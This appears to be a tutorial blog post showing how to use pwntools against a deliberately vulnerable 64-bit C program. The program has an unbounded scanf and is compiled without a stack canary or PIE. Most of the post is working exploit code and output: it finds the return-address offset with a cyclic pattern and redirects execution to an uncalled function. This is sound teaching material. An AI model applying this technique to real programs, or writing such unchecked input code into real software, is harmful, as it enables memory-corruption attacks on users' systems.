Pwntools is a Python library and has all tools you need to improve your skills of exploit development.

The target

The following C code is a simple code with buffer overflow in the 64bit Intel platform. The compilation command disables stack canary and PIE(Position Independent Executable).

// gcc -fno-stack-protector -no-pie -o vuln vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>

void never_invoke(){
	puts("I will be never invoked :(");
}

int vuln_func()
{
	char buffer[30];
	int m = 3;
	scanf("%s", buffer); // vulnerable scanf
	return 0;
}

int main(int argc, char* argv[])
{
	vuln_func();
	return 0;
}

This is a Makefile used to compile vuln.c.

SRC:=vuln.c
BIN:=$(subst .c,, $(SRC))

.PHONY: all

all: $(BIN)
	@echo "You can use ./poc.py to test vuln"

$(BIN): $(SRC)
	gcc -g -fno-stack-protector -no-pie -o $(BIN) $(SRC)

clean:
	rm -rf $(BIN)
	rm -rf core*

The exploit

First, import pwn tools;

from pwn import *

Then we define a context for the target with the API ELF() and process to interact with the target process:

binary_path = "./vuln"
elf = ELF(binary_path)
p = process(elf.path)

Now let’s find out the ret address and modify it with the starting address of never_invoke.

Next, we send a very large input with a specific pattern to the target process and expect one crash. This will generate a core dump that pwntools can analyze to retrieve the offset with the subpattern on the stack region when the crash occurred:

def find_rip_offset(io):
    io.clean()
    io.sendline(cyclic(0x50))
    io.wait()
    core = io.corefile
    stack = core.rsp
    info("rsp = %#x", stack)
    pattern = core.read(stack, 4)
    info("cyclic pattern = %s", pattern.decode())
    rip_offset = cyclic_find(pattern)
    info("rip offset is = %d", rip_offset)
    return rip_offset

offset = find_rip_offset(p)

Next, we craft the following payload and send it to the target process:

padding to the saved IP and never_invoke address

The binary file is not stripped, pwntools will fetch ELF symbols and craft the payload more easily:

padding = b"A" * offset
info("never_invoke %#x", elf.symbols.never_invoke)
retaddr = p64(elf.symbols.never_invoke)
payload = b"".join([padding, retaddr])

Finally, we can send the payload and retrive the response:

def print_lines(io):
    info("printing io received lines")
    while True:
        try:
            line = io.recvline()
            success(line.decode())
        except EOFError:
            break

p = process(elf.path)
p.sendline(payload)
print_lines(p)
$ ./poc.py
[*] '/home/mudongliang/test_pwn/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/mudongliang/test_pwn/vuln': pid 1971333
[*] Process '/home/mudongliang/test_pwn/vuln' stopped with exit code -11 (SIGSEGV) (pid 1971333)
[+] Parsing corefile...: Done
[*] '/home/mudongliang/test_pwn/core.1971333'
    Arch:      amd64-64-little
    RIP:       0x40119e
    RSP:       0x7ffc45ee4e38
    Exe:       '/home/mudongliang/test_pwn/vuln' (0x400000)
    Fault:     0x616161706161616f
[*] rsp = 0x7ffc45ee4e38
[*] cyclic pattern = oaaa
[*] rip offset is = 56
[*] never_invoke 0x401156
[+] Starting local process '/home/mudongliang/test_pwn/vuln': pid 1971338
[*] printing io received lines
[+] I will be never invoked :(

References

[1] Use pwntools for your exploits
[2] Pwntools Document